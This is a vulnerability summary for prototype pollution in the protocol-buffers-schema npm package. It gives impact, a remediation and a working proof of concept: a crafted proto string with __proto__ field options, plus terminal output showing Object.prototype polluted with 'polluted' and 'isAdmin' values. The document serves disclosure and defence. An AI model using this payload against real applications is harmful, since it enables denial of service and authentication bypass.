# Vulnerability Summary: Prototype Pollution in protocol-buffers-schema ## Overview When parsing a proto file, if the field options contain the key `proto`, the parser uses `reduce` to traverse the path. An attacker can provide `proto` as a path component to access the global `Object.prototype`, thereby injecting properties into every object in the Node.js process. ## Impact Scope - May lead to Denial of Service (DoS) - Potential Remote Code Execution (RCE) - Pollutes the application's global environment - May result in authentication bypass ## Remediation - Use `Object.create(null)` instead of plain object literals `{}` to create all data structures (options, schema, messages, etc.) - With null-prototype objects, the `proto` key is treated as an ordinary property and will not trigger prototype chain traversal ## POC Code ```javascript const schema = require('protocol-buffers-schema'); console.log('=== BEFORE PARSE ==='); console.log('({}).polluted =', ({}).polluted); // undefined const malicious = ` syntax = "proto3"; message exploit { string a = 1 [__proto__].polluted = "HACKED"; } `; schema.parse(malicious); console.log('=== AFTER PARSE ==='); console.log('({}).polluted =', ({}).polluted); // "HACKED" ``` ## Example Terminal Output ``` Welcome to Node.js v20.2.1. Type ".help" for more information. > const schema = require('protocol-buffers-schema'); undefined > console.log('=== BEFORE PARSE ==='); === BEFORE PARSE === > console.log('({}).polluted =', ({}).polluted); ({}).polluted = undefined > console.log('({}).isAdmin =', ({}).isAdmin); ({}).isAdmin = undefined > const malicious = ` ... syntax = "proto3"; ... message exploit { ... string a = 1 [__proto__].polluted = "HACKED"; ... string b = 2 [__proto__].isAdmin = "true"; ... } ... `; undefined > schema.parse(malicious); { syntax: 3, package: null, imports: [], enums: [], messages: [ { name: 'exploit', options: {}, extends: [], messages: [], oneofs: [], fields: [Array], extensions: null } ], options: {}, extends: [] } > console.log('=== AFTER PARSE ==='); === AFTER PARSE === > console.log('({}).polluted =', ({}).polluted); ({}).polluted = "HACKED" > console.log('({}).isAdmin =', ({}).isAdmin); ({}).isAdmin = "true" > console.log('({}).polluted =', ({}).polluted); ({}).polluted = "HACKED" ```